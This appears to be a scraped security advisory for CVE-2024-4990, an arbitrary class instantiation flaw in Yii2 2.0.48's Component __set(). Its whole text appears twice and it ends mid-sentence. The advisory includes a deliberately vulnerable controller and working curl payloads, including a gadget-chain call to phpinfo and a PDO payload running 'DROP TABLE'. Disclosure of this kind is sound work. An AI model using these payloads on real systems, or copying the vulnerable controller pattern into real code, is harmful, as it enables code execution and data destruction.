CVE-2024-4990

In yiisoft/yii2 version 2.0.48, the base Component class contains a vulnerability where the __set() magic method does not validate that the value passed is a valid Behavior class name or configuration. This allows an attacker to instantiate arbitrary classes, passing parameters to their constructors and invoking setter methods. Depending on the installed dependencies, various types of attacks are possible, including the execution of arbitrary code, retrieval of sensitive information, and unauthorized access.

In yiisoft/yii2 version 2.0.48, the base Component class contains a vulnerability where the __set() magic method does not validate that the value passed is a valid Behavior class name or configuration. This allows an attacker to instantiate arbitrary classes, passing parameters to their constructors and invoking setter methods. Depending on the installed dependencies, various types of attacks are possible, including the execution of arbitrary code, retrieval of sensitive information, and unauthorized access.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior),…

In yiisoft/yii2 version 2.0.48, the base Component class contains a vulnerability where the __set() magic method does not validate that the value passed is a valid Behavior class name or configuration. This allows an attacker to instantiate arbitrary classes, passing parameters to their constructors and invoking setter methods. Depending on the installed dependencies, various types of attacks are possible, including the execution of arbitrary code, retrieval of sensitive information, and unauthorized access.

In yiisoft/yii2 version 2.0.48, the base Component class contains a vulnerability where the __set() magic method does not validate that the value passed is a valid Behavior class name or configuration. This allows an attacker to instantiate arbitrary classes, passing parameters to their constructors and invoking setter methods. Depending on the installed dependencies, various types of attacks are possible, including the execution of arbitrary code, retrieval of sensitive information, and unauthorized access.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior),…